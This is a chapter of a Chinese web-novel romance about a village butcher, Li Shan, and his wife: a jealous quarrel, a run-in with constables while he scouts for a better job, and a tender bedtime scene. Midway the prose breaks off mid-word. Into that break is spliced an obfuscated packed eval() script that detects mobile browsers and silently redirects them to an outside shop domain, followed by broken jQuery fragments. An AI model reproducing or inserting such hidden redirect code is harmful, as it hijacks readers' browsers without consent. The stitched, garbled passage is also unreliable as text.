李山喝完水,一身舒爽,把碗重新放回篮子,“太热就脱了。”
温知盈蹙着眉,语气不满:“那你做什么全脱了?穿一件不行吗?”
李山不明所以,开始细细打量温知盈。
这是……生气了?
她好爱生气。
不过他还挺喜欢的。
李山想揉她的脑袋,可手还脏着,只能忍了下去,解释道:“穿一件也热。”
温知盈不说话了,她说不过他。
她硬硬偏过头不看他,独自生着气。
李山抬了抬眉,不明白她怎么突然生气。
他挪了挪身子又进入她的视线。
温知盈抬眼瞪他。
李山迎着她的眼神看她,看她细细蹙紧的眉,看她带着不满嗔怪的眸,看她肉嘟嘟的小嘴。
她生起气来也好看,看得他想捏她一把,再亲她一口,然后把她紧紧抱进怀里好好哄一哄。
李山耐心问:“怎么了?你不是也喜欢看的吗?这样不是正好方便你吗?”
温知盈气着回:“谁要你方便了?你都方便给别人了。”
李山听得一愣,“我方便给谁了?”
他下意识往四周张望,猛不丁看见不远处站着的人。
李山顿时皱眉,冲着那边硬声问:“你们看什么呢?”
那几人笑了声,回得大方:“就许你脱不许我们看啊?”
温知盈听着声音看过去,刚刚明明还只有两个人,这会儿居然又来了个妇人站着,那妇人手里还拿着瓜子时不时嗑上一口。
她着急去戳李山,催他:“你快把衣服穿上啊!”
李山一手把放在一边的衣服捡了起来,利落穿上,又对着不远处的人喊:“回家看你们男人去,盯着别人男人看个什么劲。”
温知盈听得心一提,这事儿说来其实也不是什么严重的事,只是她心里有些不舒服,李山这样说只怕要和对方吵起来。
她正担心呢,可下一瞬对方只是哄笑道:“呀,小媳妇吃醋了,不让我们看了。”
“没得看了,走了走了,回家去。”
那三人哄笑了几声,觉得没意思,又往村里走。
温知盈傻眼,大家都这样随性吗?
李山把衣服裹得严严实实,“我穿好了,这下没人看得到你男人了。”
温知盈看向李山,又觉得她刚刚有些过于矫情了。
她抿了抿唇,开始道歉:“对不起。”
李山莫名,“怎么又和我道歉了?”
温知盈小脸耷拉着,认真道:“我刚刚乱发脾气了。”
那些人要看也关不着李山的事,可偏她拿着李山出气,着实没有道理。
她不过就是仗着李山对她好,便如此蛮不讲理。
李山笑道:“这有什么的,我就喜欢你和我发脾气。”
温知盈不解看他。
“这说明你在意我。”李山细细凝着她,“我喜欢你在意我。”
温知盈眸子微动,李山这个人有时候憨憨的,直直的,但又总是能说出一些动人的情话。
李山问她:“你呢?”
温知盈眨了眨眼:“什么?”
李山:“你喜欢我吗?”
温知盈心口一哽,又气道:“那我现在在和谁过日子呢?”
问的什么憨问题?
李山不依不饶:“可我想听你说。”
温知盈提着篮子就走。
她才不好意思说那种话。
——————
开荒开两块地够用了,要想挣银子还得靠别的。
李山下了工,来到一处茶水摊。
摊主这几日已经眼熟他了,主动开口招呼:“还是一碗最普通的茶水是吧?”
李山点头,在老位置坐下。
茶水上得快,李山喝了一口。
比昨天还苦,还是他媳妇煮的好喝。
他放下碗,脑袋微偏,望向不远处的大门。
他观察好几天了,里面出入的主人家不是坐轿子就是坐马车,是实打实的大户人家。
而且有时候主人家心情好了,还会给看大门的打赏银子,那天他看得清清楚楚,一次就打赏了快五两银子。
打赏就这么多,那工钱肯定也不少。
李山磨了磨牙,真有钱啊,怪不得都说是县城里最有钱的人家呢。
他正想着呢,一道齐整的脚步声由远及近迅速在他跟前停下,李山眼前一黑,一道声音诧异响起:“李山?”
李山抬头,也讶了下,“吴捕头?”
他眼前站了七八个衙役,大家都谨慎地握着刀把,皆是一副严阵以待的神色。
李山怔了怔,这些人怎么好像要把他围起来似的?
吴捕头见是熟悉的人,神色顿时一松,给身后的人比了个手势,又朝着李山开口:“你在这儿干嘛呢?”
李山不是傻子,当然能看出一些不对劲,忙站起身解释:“我坐这儿喝茶呢。”
“你喝茶盯着别人家大门一直看什么?”吴捕头声音压低了些,“别人都派人来县衙找我们了。”
李山眼神往前方望了望,果然,那户人家有人正站在大门口踮脚朝他们张望。
嚯,真是天大的误会!
李山没急着解释,开口道:“那我跟你们走一趟。”
吴捕头做出公事公办的样子,带着李山往县衙方向走。
待离那户人家远了,彻底看不到了,李山又领着他们到了一处茶水摊。
“今日是我给兄弟伙添麻烦了,我请大家喝茶水解解渴。”
李山曾帮过衙门的人捉小贼,一来二去大家也算熟悉。
吴捕头跟着在他对面坐下,“我虽信得过你,但你最好还是给我一个理由,不然我可不讲情面。”
李山憨笑了一声,这才解释道:“我没别的意思,我就是看那户人家有钱,想着能不能去找个活计。”
吴捕头半信半疑看着他,“你杀猪的工钱不够你花的?”
茶水摊摊主把煮好的茶水端上来,李山端碗喝了一口。
嗯,这个贵一些果然味道要好一些,但还是没他媳妇煮的好喝。
他放下碗,“也不是不够花,但就是不够,而且杀猪一听就脏兮兮的,想换个活。”
吴捕头:“你都干多少年杀猪的活了,这会儿嫌弃了?”
李山老实笑了声,现在不一样,他有媳妇了。
“反正我看那大户人家光是大门都挺气派的,你说我去给他们看大门怎么样?我这么壮实,往那大门口一站,保准他们的大门更气派!”
到时候主人家看得心情一好,说不定也给他赏银子。
吴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782451|209015||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
捕头惯会观察人有没有说谎,这会儿看着李山把话说完,心里也有了决断。
李山是真想去给别人看大门。
他轻笑了声,这才端碗喝茶,提醒道:“那大户人家家里的下人可都是卖身进去的,你要卖身?”
李山眼珠子一瞪,“卖身?!”
“这可不行,我只是想多挣钱,可从没想过卖身。”
他要是卖身了,温知盈怎么办?
李山刚升起的念头被他果断掐断。
他喝着茶水,扫了扫周围的衙役,心里暗自奇怪。
要说就算那户人家怀疑什么,找人驱逐他就是,没想到那户人家直接派人去了衙门。
而且衙门还派这么多人来,弄得像他是什么穷凶极恶的匪徒一样。
李山好奇打听:“吴捕头,今天你们怎么来这么多人?一般不是三个人吗?”
吴捕头不动声色放下茶碗,“顺便带大家伙巡逻,便一起出来了。”
李山没再追问,换了个话题,“我听说衙门每年会招帮役,帮役一个月工钱多少啊?”
吴捕头看他:“你想来?”
李山憨憨一笑:“先问问工钱。”
吴捕头被他逗得失笑,好歹也是帮衙门做事,这也要挑。
“工钱没你杀猪挣的多。”
李山有些失望,又问:“那普通衙役呢?”
吴捕头没细说,只道:“衙门的衙役和帮役自然不同的,以你的体格做帮役定是能选上,不过衙役却不是想做就能做的。”
“好了,茶喝完了,我们得去巡逻了,回见。”
李山站起身目送他们离开,等他们走远才坐了回去。
他脑子顿时活泛起来,听这个意思衙役工钱肯定比杀猪多的,而且也更体面。
他若是衙役,配他媳妇千金小姐的身份应该会更般配。
李山把茶碗里的茶水喝了个一干二净,这才结账离开。
他没直接回,而是在城里转了一圈,最后来到一处全是汉子聚集的地方待了待,最后才出城回家。
晚上,李山一半身子露在外面,一半身子钻进温知盈的被窝。
他抱着她,鼻间满是温知盈身上的气息,他又贴近了些她的脖颈,“这几日我回来得晚,你不要再在门口接我了。”
温知盈被他下巴上的胡茬扎得发痒,仰了仰脖子,“屠肆现在这么忙吗?”
李山粗粗哑哑应了声,“嗯,要是我中午回不来你就去婶家吃饭,我给婶打过招呼了。”
温知盈低低哦了声,身后一如往常的反应,随后一道粗气喷在她脖颈处,紧接着就要往后退。
温知盈伸手按住圈在她腰间的手,声音低低的:“不用退。”
李山没听清:“什么?”
温知盈抿了抿唇,声音大了些:“我说可以就这样。”
她总要习惯的,现在就这样慢慢习惯也挺好。
她默了默,想到什么,又开口:“不过要是你不舒服就……”
话还没说完,李山整个身子都挤进她的被窝,声音哑烫:“舒服,这样也舒服……”
温知盈身子莫名一软,不忘记提醒:“暂时只能这样……”
李山圈在她腰上的手紧了紧,又蹭了蹭她的后脖颈,“媳妇,再吃一下嘴好不好?”
温知盈:“嗯……”